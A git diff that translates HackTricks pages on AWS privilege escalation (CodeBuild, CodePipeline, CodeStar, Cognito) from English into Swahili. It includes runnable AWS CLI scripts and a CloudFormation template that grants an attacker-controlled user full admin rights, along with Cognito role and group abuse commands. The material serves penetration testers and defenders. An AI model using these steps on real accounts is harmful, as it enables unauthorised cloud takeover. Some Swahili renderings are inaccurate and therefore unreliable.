mamlaka ya juu. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Maelezo zaidi yanaweza kupatikana [hapa](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Potential Impact:** Moja kwa moja privesc kwa majukumu ya AWS Codebuild yaliyoambatanishwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..ddfc11385 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Kwa maelezo zaidi kuhusu codepipeline angalia: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +Unapounda code pipeline unaweza kuashiria **codepipeline IAM Role ya kuendesha**, hivyo unaweza kuathiri hizo. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Mbali na ruhusa zilizotajwa hapo awali unahitaji **ufikiaji wa mahali ambapo msimbo umehifadhiwa** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Nilijaribu hii kwa kufanya mchakato kwenye tovuti, ruhusa zilizotajwa hapo awali si zile za Orodha/Pata zinazohitajika kuunda codepipeline, lakini ili kuunda kwenye wavuti pia utahitaji: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +Wakati wa **kuunda mradi wa kujenga** unaweza kuashiria **amri ya kuendesha** (rev shell?) na kuendesha awamu ya kujenga kama **mtumiaji mwenye mamlaka**, hiyo ndiyo usanidi anahitaji mshambuliaji kuathiri: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Inaweza kuwa inawezekana kubadilisha jukumu lililotumika na amri inayotekelezwa kwenye codepipeline kwa ruhusa zilizotangulia. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS inasema](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Wakati API hii inaitwa, CodePipeline **inarudisha akreditif za muda kwa ajili ya S3 bucket** inayotumika kuhifadhi vitu vya pipeline, ikiwa hatua inahitaji ufikiaji wa S3 bucket hiyo kwa ajili ya vitu vya ingizo au pato. API hii pia **inarudisha thamani zozote za siri zilizofafanuliwa kwa ajili ya hatua**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..16b4dbdf4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Unaweza kupata maelezo zaidi kuhusu codestar katika: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +Kwa ruhusa hizi unaweza **kutumia codestar IAM Role** kufanya **vitendo vya kawaida** kupitia **cloudformation template**. Angalia ukurasa ufuatao: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Teknolojia hii inatumia `codestar:CreateProject` kuunda mradi wa codestar, na `codestar:AssociateTeamMember` kumfanya mtumiaji wa IAM kuwa **mmiliki** wa **mradi** mpya wa CodeStar, ambayo itawapa **sera mpya yenye ruhusa chache za ziada**. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Ikiwa wewe ni **mwanachama wa mradi** tayari unaweza kutumia ruhusa **`codestar:UpdateTeamMember`** kubadilisha **nafasi yako** kuwa mmiliki badala ya `codestar:AssociateTeamMember` -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Athari Zinazoweza Kutokea:** Privesc kwa sera ya codestar iliyoundwa. Unaweza kupata mfano wa sera hiyo katika: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Unda Mradi Mpya:** +- Tumia hatua **`codestar:CreateProjectFromTemplate`** kuanzisha uundaji wa mradi mpya. +- Baada ya uundaji kufanikiwa, ufikiaji unapatikana moja kwa moja kwa **`cloudformation:UpdateStack`**. +- Ufikiaji huu unalenga stack inayohusiana na nafasi ya `CodeStarWorker--CloudFormation` IAM. +2. **Sasisha Stack Inayolengwa:** +- Kwa ruhusa za CloudFormation zilizotolewa,endelea kusasisha stack iliyoainishwa. +- Jina la stack kawaida litafuata moja ya mifumo miwili: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- Jina halisi linategemea template iliyochaguliwa (kurejelea mfano wa script ya unyakuzi). +3. **Ufikiaji na Ruhusa:** +- Baada ya sasisho, unapata uwezo uliopewa **nafasi ya CloudFormation IAM** inayohusiana na stack. +- Kumbuka: Hii haipati moja kwa moja ruhusa kamili za msimamizi. Rasilimali zingine zilizowekwa vibaya ndani ya mazingira zinaweza kuhitajika ili kuongeza ruhusa zaidi. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Kwa maelezo zaidi angalia utafiti wa asili: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Unaweza kupata unyakuzi katika [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**Athari Zinazoweza Kutokea:** Privesc kwa nafasi ya cloudformation IAM. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..5f066280e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +Hii ni sera iliyoundwa ambayo mtumiaji anaweza kuprivesc (jina la mradi lilikuwa `supercodestar`): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..639cb698b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +Kwa ruhusa hizi unaweza **kutumia jukumu la codestar IAM** kufanya **vitendo vya kiholela** kupitia **kigezo cha cloudformation**. +Ili kutumia hii unahitaji kuunda **S3 bucket inayopatikana** kutoka kwa akaunti iliyoshambuliwa. Pakia faili inayoitwa `toolchain.json`. Faili hii inapaswa kuwa na **kigezo cha cloudformation exploit**. Ifuatayo inaweza kutumika kuweka sera inayosimamiwa kwa mtumiaji chini ya udhibiti wako na **kumpa ruhusa za admin**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +Pia **pakia** faili hili la `empty zip` kwenye **bucket**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +Kumbuka kwamba **bucket yenye faili zote mbili inapaswa kufikiwa na akaunti ya mwathirika**. +Kwa vitu vyote viwili kupakiwa sasa unaweza kuendelea na **exploitation** kwa kuunda mradi wa **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +Hii exploit inategemea **Pacu exploit ya haki hizi**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Juu yake unaweza kupata toleo la kuunda sera ya usimamizi wa admin kwa jukumu badala ya kwa mtumiaji. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..d4fe779ff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Kwa maelezo zaidi kuhusu Cognito angalia: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Kukusanya akreditivu kutoka kwa Identity Pool -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Kama Cognito inaweza kutoa **IAM role credentials** kwa **watumiaji walioidhinishwa** na **wasioidhinishwa**, ikiwa utapata **Identity Pool ID** ya programu (inapaswa kuwa imeandikwa ndani yake) unaweza kupata akreditivu mpya na hivyo privesc (ndani ya akaunti ya AWS ambapo huenda hukuwahi kuwa na akreditivu yoyote hapo awali). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Kwa maelezo zaidi [**angalia ukurasa huu**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa huduma ya jukumu iliyoambatanishwa na watumiaji wasioidhinishwa (na huenda kwa ile iliyoambatanishwa na watumiaji walioidhinishwa). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +Kwa ruhusa hii unaweza **kutoa jukumu lolote la cognito** kwa watumiaji walioidhinishwa/wasioidhinishwa wa programu ya cognito. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Ikiwa programu ya cognito **haijawa na watumiaji wasio na uthibitisho** unaweza pia kuhitaji ruhusa `cognito-identity:UpdateIdentityPool` ili kuifanya iweze. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Athari Zinazoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu lolote la cognito. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Maktaba ya Watumiaji wa Cognito chini ya udhibiti wake au mtoa huduma mwingine wa utambulisho ambapo anaweza kuingia kama **njia ya kufikia Maktaba hii ya Utambulisho wa Cognito**. Kisha, tu **ingia** kwenye mtoa huduma huyo wa mtumiaji itamruhusu **kuweza kufikia jukumu lililowekwa la uthibitisho katika Maktaba ya Utambulisho**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +Ni pia inawezekana **kudhulumu ruhusa hii kuruhusu uthibitishaji wa msingi**: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Madhara Yanayoweza Kutokea**: Kuathiri jukumu la IAM lililothibitishwa lililowekwa ndani ya mchanganyiko wa utambulisho. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +Ruhusa hii inaruhusu **kuongeza mtumiaji wa Cognito kwenye kundi la Cognito**, hivyo mshambuliaji anaweza kutumia ruhusa hii kuongeza mtumiaji chini ya udhibiti wake kwenye makundi mengine yenye **haki bora** au **majukumu tofauti ya IAM**: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Madhara Yanayoweza Kutokea:** Privesc kwa vikundi vingine vya Cognito na majukumu ya IAM yaliyounganishwa na Vikundi vya User Pool. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Mshambuliaji mwenye ruhusa hizi anaweza **kuunda/kusasisha vikundi** na **kila jukumu la IAM ambalo linaweza kutumika na Mtoa Kitambulisho wa Cognito aliyeathirika** na kumfanya mtumiaji aliyeathirika kuwa sehemu ya kikundi, akipata ufikiaji wa majukumu hayo yote: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Madhara Yanayoweza Kutokea:** Privesc kwa majukumu mengine ya Cognito IAM. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +Ruhusa hii inaruhusu **kuhakiki usajili**. Kwa kawaida, mtu yeyote anaweza kuingia kwenye programu za Cognito, ikiwa hiyo itaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuithibitisha kwa ruhusa hii. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa ikiwa unaweza kujiandikisha mtumiaji mpya. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa kuwa na uwezo wa kuthibitisha akaunti yoyote. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +Ruhusa hii itamruhusu mshambuliaji kuunda mtumiaji mpya ndani ya mchanganyiko wa watumiaji. Mtumiaji mpya anaundwa kama aliyewezeshwa, lakini atahitaji kubadilisha nenosiri lake. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa kuwa na uwezo wa kuunda mtumiaji yeyote. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Ruhusa hii inaweza kusaidia katika hali ya kipekee ambapo mshambuliaji alipata akidi za mtumiaji aliyezuiliwa na anahitaji **kuwezesha tena**. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa na ruhusa za mtumiaji ikiwa mshambuliaji alikuwa na akidi za mtumiaji aliyezuiliwa. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +Ruhusa hii inaruhusu kuingia kwa kutumia [**mbinu ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Kwa maelezo zaidi fuata kiungo. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +Ruhusa hii ingemruhusu 